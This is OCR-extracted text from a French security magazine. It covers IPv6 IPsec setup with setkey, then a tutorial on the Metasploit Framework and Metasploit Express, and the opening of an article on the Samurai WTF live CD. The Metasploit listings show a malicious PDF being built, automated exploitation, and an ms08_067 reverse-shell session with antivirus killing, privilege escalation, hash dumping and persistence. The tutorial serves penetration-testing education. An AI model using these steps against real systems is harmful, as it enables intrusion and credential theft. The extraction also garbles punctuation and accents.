Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 19: hakin9_05_2010_FR

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

